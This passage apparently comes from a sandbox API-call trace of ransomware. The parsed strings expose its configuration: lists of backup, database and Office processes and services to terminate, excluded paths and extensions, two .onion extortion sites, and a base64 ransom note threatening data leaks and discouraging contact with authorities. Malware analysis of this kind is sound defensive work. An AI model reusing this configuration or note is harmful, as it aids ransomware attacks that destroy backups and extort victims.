File*\\\\Cisco\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\",\"usrclass.dat*\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"],\"extfree\":[\"jpg\",\"jpeg\",\"png\",\"bmp\",\"doc\",\"docx\"]},\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc*\"],\"svcwait\":0,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]},\"net\":{\"use\":true,\"ignore\":{\"use\":true,\"disk\":true,\"share\":[\"ipc$\",\"admin$\"]}},\"unlocker\":{\"use\":true,\"ignore\":{\"use\":true,\"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\",\"*\\\\Program File*\\\\Fortinet\",\"*\\\\Program File*\\\\Cisco\"],\"prc\":[\"psexec.exe\",\"system\",\"forti*.exe\",\"fmon.exe\",\"fcaptmon.exe\",\"FCHelper64.exe\"]}}}") returned 1500 [0085.140] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7ba6f0, Size=0x28) returned 0x1b7bad20 [0085.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7ba6f0 [0085.140] strtol (in: _Str="6,\"encname\":true,\"onion1\":\"pb36hu4spl6cyjdfhing7h3pw6dhpk32ifemawkujj4gp33ejzdq3did.onion\",\"onion2\":\"rnfdsgm6wb6j6su5txkekw4u4y47kp2eatvu7d6xhyn5cs4lt4pdrqqd.onion\",\"lfile\":\"{id}-Readme.txt\",\"lend\":\"SGkhIA0KWW91ciBmaWxlcyBhcmUgZW5jcnlwdGVkLiANCkFsbCBlbmNyeXB0ZWQgZmlsZXMgZm9yIHRoaXMgY29tcHV0ZXIgaGFzIGV4dGVuc2lvbjogLntpZH0gDQoNCllvdXIgZmlsZW5hbWVzIGNhbiBiZSBlbmNyeXB0ZWQgdG9vLCBleGNlcHQgZXh0ZW5zaW9ucyBmb3IgZnJlZSBkZWNyeXB0Lg0KDQotLSANCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLCANCnRoaXMgY2FuIGJlIHVuZGVyc3Rvb2QgYnkgdGhlIGZhY3QgdGhhdCB0aGUgY29tcHV0ZXIgc2xvd3MgZG93biwgDQphbmQgeW91ciBoZWFydCByYXRlIGhhcyBpbmNyZWFzZWQgZHVlIHRvIHRoZSBhYmlsaXR5IHRvIHR1cm4gaXQgb2ZmLCANCnRoZW4gd2UgcmVjb21tZW5kIHRoYXQgeW91IG1vdmUgYXdheSBmcm9tIHRoZSBjb21wdXRlciBhbmQgYWNjZXB0IHRoYXQgeW91IGhhdmUgYmVlbiBjb21wcm9taXNlZC4gDQpSZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeS4gDQoNCi0tIA0KT3VyICBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCANCnRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLiANCg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHRlciBwcm9ncmFtLCB5b3UgbWF5IGRhbWFnZSB0aGVtIGFuZCB0aGVuIHRoZXkgd2lsbCBiZSBpbXBvc3NpYmxlIHRvIHJlY292ZXIuIA0KDQotLQ0KDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IGZldyBmaWxlcyBmb3IgZnJlZS4gDQpKdXN0IG9wZW4gb3VyIHdlYnNpdGUsIHVwbG9hZCB0aGUgZW5jcnlwdGVkIGZpbGVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlZCBmaWxlcyBmb3IgZnJlZS4gDQoNCkFkZGl0aW9uYWxseSwgeW91IG11c3Qga25vdyB0aGF0IHlvdXIgc2Vuc2l0aXZlIGRhdGEgaGFzIGJlZW4gc3RvbGVuICBieSBvdXIgYW5hbHlzdCBleHBlcnRzIGFuZCBpZiB5b3UgY2hvb3NlIHRvIG5vIGNvb3BlcmF0ZSB3aXRoIHVzLCB5b3UgIGFyZSBleHBvc2luZyB5b3Vyc2VsZiANCnRvIGh1Z2UgcGVuYWx0aWVzIHdpdGggbGF3c3VpdHMgYW5kIGdvdmVybm1lbnQgaWYgd2UgYm90aCBkb24ndCBmaW5kICBhbiBhZ3JlZW1lbnQuIFdlIGhhdmUgc2VlbiBpdCBiZWZvcmU7IGNhc2VzIHdpdGggbXVsdGkgbWlsbGlvbiBjb3N0cyBpbiAgZmluZXMgYW5kIGxhd3N1aXRzLCANCm5vdCB0byBtZW50aW9uIHRoZSBjb21wYW55IHJlcHV0YXRpb24gYW5kIGxvc2luZyBjbGllbnRzIHRydXN0IGFuZCAgdGhlIG1lZGlhcyBjYWxsaW5nIG5vbi1zdG9wIGZvciBhbnN3ZXJzLiBDb21lIGNoYXQgd2l0aCB1cyBhbmQgeW91IGNvdWxkICBiZSBzdXJwcmlzZWQgb24gaG93IA0KZmFzdCB3ZSBib3RoIGNhbiBmaW5kIGFuIGFncmVlbWVudCB3aXRob3V0IGdldHRpbmcgdGhpcyBpbmNpZGVudCBwdWJsaWMuIA0KLS0NCioqKiANCklGIFlPVSBBUkUgQU4gRU1QTE9ZRVIgT0YgQSBDT01QQU5ZIFRIRU4gWU9VIFNIT1VMRCBLTk9XIFRIQVQgU1BSRUFESU5HIFNFTlNJVElWRSBJTkZPUk1BVElPTiBBQk9VVCBZT1VSIENPTVBBTlkgQkVJTkcgQ09NUFJPTUlTRUQgSVMgQSBWSU9MQVRJT04gT0YgQ09ORklERU5USUFMSVRZLiANCllPVVIgQ09NUEFOWSdTIFJFUFVUQVRJT04gV0lMTCBTVUZGRVIgQU5EIFNBTkNUSU9OUyBXSUxMIEJFIFRBS0VOIEFHQUlOU1QgWU9VLiANCg0KLS0NCg0KV0UgSElHSExZIFNVR0dFU1QgVEhBVCBZT1UgRE9OJ1QgQ09OVEFDVCBUSEUgQVVUSE9SSVRJRVMgUkVHQVJESU5HIFRISVMgSU5DSURFTlQgQkVDQVVTRSBJRiBZT1UgRE8sIFRIRU4gQVVUSE9SSVRJRVMgV0lMTCBNQUtFIFRISVMgUFVCTElDIFdISUNIIENPTUVTIFdJVEggQSBDT1NUIEZPUiBZT1VSDQpFTlRFUlBSSVNFLiBUSEUgUkVDT1ZFUlkgUFJPQ0VTUyBPRiBZT1VSIEZJTEVTIFdJTEwgQkUgRkFTVEVSIElGIFlPVSBDT01FIEFORCBDSEFUIFdJVEggVVMgRUFSTFkuIElGIFlPVSBDSE9PU0UgVE8gQ09PUEVSQVRFLCBZT1UgV0lMTCBTRUUgVEhBVCBXRSBBUkUgUFJPRkVTU0lPTkFMUyBXSE8gR0lWRVMNCkdPT0QgU1VQUE9SVC4NCg0KKioqDQotLSANCg0KU3RlcHMgdG8gZ2V0IGFjY2VzcyBvbiBvdXIgd2Vic2l0ZTogDQoNCjEuRG93bmxvYWQgYW5kIGluc3RhbGwgdG9yLWJyb3dzZXI6IGh0dHBzOi8vdG9ycHJvamVjdC5vcmcvIA0KDQoyLk9wZW4gb3VyIHdlYnNpdGU6IHtvbmlvbjF9IA0KSWYgdGhlIHdlYnNpdGUgaXMgbm90IGF2YWlsYWJsZSwgb3BlbiBhbm90aGVyIG9uZToge29uaW9uMn0gDQoNCjMuUHV0IHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgaW5wdXQgZm9ybTogDQoNCntjb2RlfQ==\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:\\\\users\\\\*\\\\*temp\",\"*msocache\",\"*:\\\\winnt\",\"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:\\\\windows\",\"*:\\\\program file*\\\\vmware\",\"\\\\\\\\*\\\\users\\\\*\\\\*temp\",\"\\\\\\\\*\\\\winnt\",\"\\\\\\\\*\\\\windows\",\"*\\\\program file*\\\\vmware\",\"*appdata*microsoft\",\"*appdata*packages\",\"*microsoft\\\\provisioning\",\"*dvd maker\",\"*Internet Explorer\",\"*Mozilla\",\"*Mozilla*\",\"*Old Firefox data\",\"*\\\\program file*\\\\windows media*\",\"*\\\\program file*\\\\windows portable*\",\"*windows defender\",\"*\\\\program file*\\\\windows nt\",\"*\\\\program file*\\\\windows photo*\",\"*\\\\program file*\\\\windows side*\",\"*\\\\program file*\\\\windowspowershell\",\"*\\\\program file*\\\\cuass*\",\"*\\\\program file*\\\\microsoft games\",\"*\\\\program file*\\\\common files\\\\system\",\"*\\\\program file*\\\\common files\\\\*shared\",\"*\\\\program file*\\\\common files\\\\reference ass*\",\"*\\\\windows\\\\cache*\",\"*temporary internet*\",\"*media player\",\"*:\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\"\\\\\\\\*\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\"*\\\\Program File*\\\\Cisco\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\",\"usrclass.dat*\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"],\"extfree\":[\"jpg\",\"jpeg\",\"png\",\"bmp\",\"doc\",\"docx\"]},\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc*\"],\"svcwait\":0,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]},\"net\":{\"use\":true,\"ignore\":{\"use\":true,\"disk\":true,\"share\":[\"ipc$\",\"admin$\"]}},\"unlocker\":{\"use\":true,\"ignore\":{\"use\":true,\"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\",\"*\\\\Program File*\\\\Fortinet\",\"*\\\\Program File*\\\\Cisco\"],\"prc\":[\"psexec.exe\",\"system\",\"forti*.exe\",\"fmon.exe\",\"fcaptmon.exe\",\"FCHelper64.exe\"]}}}", _EndPtr=0x1c7fe1e0, _Radix=0 | out: _EndPtr=0x1c7fe1e0*=",\"encname\":true,\"onion1\":\"pb36hu4spl6cyjdfhing7h3pw6dhpk32ifemawkujj4gp33ejzdq3did.onion\",\"onion2\":\"rnfdsgm6wb6j6su5txkekw4u4y47kp2eatvu7d6xhyn5cs4lt4pdrqqd.onion\",\"lfile\":\"{id}-Readme.txt\",\"lend\":\"SGkhIA0KWW91ciBmaWxlcyBhcmUgZW5jcnlwdGVkLiANCkFsbCBlbmNyeXB0ZWQgZmlsZXMgZm9yIHRoaXMgY29tcHV0ZXIgaGFzIGV4dGVuc2lvbjogLntpZH0gDQoNCllvdXIgZmlsZW5hbWVzIGNhbiBiZSBlbmNyeXB0ZWQgdG9vLCBleGNlcHQgZXh0ZW5zaW9ucyBmb3IgZnJlZSBkZWNyeXB0Lg0KDQotLSANCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLCANCnRoaXMgY2FuIGJlIHVuZGVyc3Rvb2QgYnkgdGhlIGZhY3QgdGhhdCB0aGUgY29tcHV0ZXIgc2xvd3MgZG93biwgDQphbmQgeW91ciBoZWFydCByYXRlIGhhcyBpbmNyZWFzZWQgZHVlIHRvIHRoZSBhYmlsaXR5IHRvIHR1cm4gaXQgb2ZmLCANCnRoZW4gd2UgcmVjb21tZW5kIHRoYXQgeW91IG1vdmUgYXdheSBmcm9tIHRoZSBjb21wdXRlciBhbmQgYWNjZXB0IHRoYXQgeW91IGhhdmUgYmVlbiBjb21wcm9taXNlZC4gDQpSZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeS4gDQoNCi0tIA0KT3VyICBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCANCnRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLiANCg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHRlciBwcm9ncmFtLCB5b3UgbWF5IGRhbWFnZSB0aGVtIGFuZCB0aGVuIHRoZXkgd2lsbCBiZSBpbXBvc3NpYmxlIHRvIHJlY292ZXIuIA0KDQotLQ0KDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IGZldyBmaWxlcyBmb3IgZnJlZS4gDQpKdXN0IG9wZW4gb3VyIHdlYnNpdGUsIHVwbG9hZCB0aGUgZW5jcnlwdGVkIGZpbGVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlZCBmaWxlcyBmb3IgZnJlZS4gDQoNCkFkZGl0aW9uYWxseSwgeW91IG11c3Qga25vdyB0aGF0IHlvdXIgc2Vuc2l0aXZlIGRhdGEgaGFzIGJlZW4gc3RvbGVuICBieSBvdXIgYW5hbHlzdCBleHBlcnRzIGFuZCBpZiB5b3UgY2hvb3NlIHRvIG5vIGNvb3BlcmF0ZSB3aXRoIHVzLCB5b3UgIGFyZSBleHBvc2luZyB5b3Vyc2VsZiANCnRvIGh1Z2UgcGVuYWx0aWVzIHdpdGggbGF3c3VpdHMgYW5kIGdvdmVybm1lbnQgaWYgd2UgYm90aCBkb24ndCBmaW5kICBhbiBhZ3JlZW1lbnQuIFdlIGhhdmUgc2VlbiBpdCBiZWZvcmU7IGNhc2VzIHdpdGggbXVsdGkgbWlsbGlvbiBjb3N0cyBpbiAgZmluZXMgYW5kIGxhd3N1aXRzLCANCm5vdCB0byBtZW50aW9uIHRoZSBjb21wYW55IHJlcHV0YXRpb24gYW5kIGxvc2luZyBjbGllbnRzIHRydXN0IGFuZCAgdGhlIG1lZGlhcyBjYWxsaW5nIG5vbi1zdG9wIGZvciBhbnN3ZXJzLiBDb21lIGNoYXQgd2l0aCB1cyBhbmQgeW91IGNvdWxkICBiZSBzdXJwcmlzZWQgb24gaG93IA0KZmFzdCB3ZSBib3RoIGNhbiBmaW5kIGFuIGFncmVlbWVudCB3aXRob3V0IGdldHRpbmcgdGhpcyBpbmNpZGVudCBwdWJsaWMuIA0KLS0NCioqKiANCklGIFlPVSBBUkUgQU4gRU1QTE9ZRVIgT0YgQSBDT01QQU5ZIFRIRU4gWU9VIFNIT1VMRCBLTk9XIFRIQVQgU1BSRUFESU5HIFNFTlNJVElWRSBJTkZPUk1BVElPTiBBQk9VVCBZT1VSIENPTVBBTlkgQkVJTkcgQ09NUFJPTUlTRUQgSVMgQSBWSU9MQVRJT04gT0YgQ09ORklERU5USUFMSVRZLiANCllPVVIgQ09NUEFOWSdTIFJFUFVUQVRJT04gV0lMTCBTVUZGRVIgQU5EIFNBTkNUSU9OUyBXSUxMIEJFIFRBS0VOIEFHQUlOU1QgWU9VLiANCg0KLS0NCg0KV0UgSElHSExZIFNVR0dFU1QgVEhBVCBZT1UgRE9OJ1QgQ09OVEFDVCBUSEUgQVVUSE9SSVRJRVMgUkVHQVJESU5HIFRISVMgSU5DSURFTlQgQkVDQVVTRSBJRiBZT1UgRE8sIFRIRU4gQVVUSE9SSVRJRVMgV0lMTCBNQUtFIFRISVMgUFVCTElDIFdISUNIIENPTUVTIFdJVEggQSBDT1NUIEZPUiBZT1VSDQpFTlRFUlBSSVNFLiBUSEUgUkVDT1ZFUlkgUFJPQ0VTUyBPRiBZT1VSIEZJTEVTIFdJTEwgQkUgRkFTVEVSIElGIFlPVSBDT01FIEFORCBDSEFUIFdJVEggVVMgRUFSTFkuIElGIFlPVSBDSE9PU0UgVE8gQ09PUEVSQVRFLCBZT1UgV0lMTCBTRUUgVEhBVCBXRSBBUkUgUFJPRkVTU0lPTkFMUyBXSE8gR0lWRVMNCkdPT0QgU1VQUE9SVC4NCg0KKioqDQotLSANCg0KU3RlcHMgdG8gZ2V0IGFjY2VzcyBvbiBvdXIgd2Vic2l0ZTogDQoNCjEuRG93bmxvYWQgYW5kIGluc3RhbGwgdG9yLWJyb3dzZXI6IGh0dHBzOi8vdG9ycHJvamVjdC5vcmcvIA0KDQoyLk9wZW4gb3VyIHdlYnNpdGU6IHtvbmlvbjF9IA0KSWYgdGhlIHdlYnNpdGUgaXMgbm90IGF2YWlsYWJsZSwgb3BlbiBhbm90aGVyIG9uZToge29uaW9uMn0gDQoNCjMuUHV0IHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgaW5wdXQgZm9ybTogDQoNCntjb2RlfQ==\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:\\\\users\\\\*\\\\*temp\",\"*msocache\",\"*:\\\\winnt\",\"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:\\\\windows\",\"*:\\\\program file*\\\\vmware\",\"\\\\\\\\*\\\\users\\\\*\\\\*temp\",\"\\\\\\\\*\\\\winnt\",\"\\\\\\\\*\\\\windows\",\"*\\\\program file*\\\\vmware\",\"*appdata*microsoft\",\"*appdata*packages\",\"*microsoft\\\\provisioning\",\"*dvd maker\",\"*Internet Explorer\",\"*Mozilla\",\"*Mozilla*\",\"*Old Firefox data\",\"*\\\\program file*\\\\windows media*\",\"*\\\\program file*\\\\windows portable*\",\"*windows defender\",\"*\\\\program file*\\\\windows nt\",\"*\\\\program file*\\\\windows photo*\",\"*\\\\program file*\\\\windows side*\",\"*\\\\program file*\\\\windowspowershell\",\"*\\\\program file*\\\\cuass*\",\"*\\\\program file*\\\\microsoft games\",\"*\\\\program file*\\\\common files\\\\system\",\"*\\\\program file*\\\\common files\\\\*shared\",\"*\\\\program file*\\\\common files\\\\reference ass*\",\"*\\\\windows\\\\cache*\",\"*temporary internet*\",\"*media player\",\"*:\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\"\\\\\\\\*\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\"*\\\\Program File*\\\\Cisco\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\",\"usrclass.dat*\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"],\"extfree\":[\"jpg\",\"jpeg\",\"png\",\"bmp\",\"doc\",\"docx\"]},\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc*\"],\"svcwait\":0,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]},\"net\":{\"use\":true,\"ignore\":{\"use\":true,\"disk\":true,\"share\":[\"ipc$\",\"admin$\"]}},\"unlocker\":{\"use\":true,\"ignore\":{\"use\":true,\"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\",\"*\\\\Program File*\\\\Fortinet\",\"*\\\\Program File*\\\\Cisco\"],\"prc\":[\"psexec.exe\",\"system\",\"forti*.exe\",\"fmon.exe\",\"fcaptmon.exe\",\"FCHelper64.exe\"]}}}") returned 6 [0085.140] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7bad20, Size=0x30) returned 0x1b7d78c0 [0085.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7bad20 [0085.140] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d78c0, Size=0x38) returned 0x1b7d7900 [0085.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7ba420 [0085.140] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b7d7900, Size=0x40) returned 0x17a750 [0085.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7ba840 [0085.140] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x17a750, Size=0x48) returned 0x17a520 [0085.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7ba660 [0085.140] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x17a520, Size=0x50) returned 0xed090 [0085.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7ba810 [0085.140] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0xed090, Size=0x58) returned 0x1b7ce940 [0085.140] RtlAllocateHeap 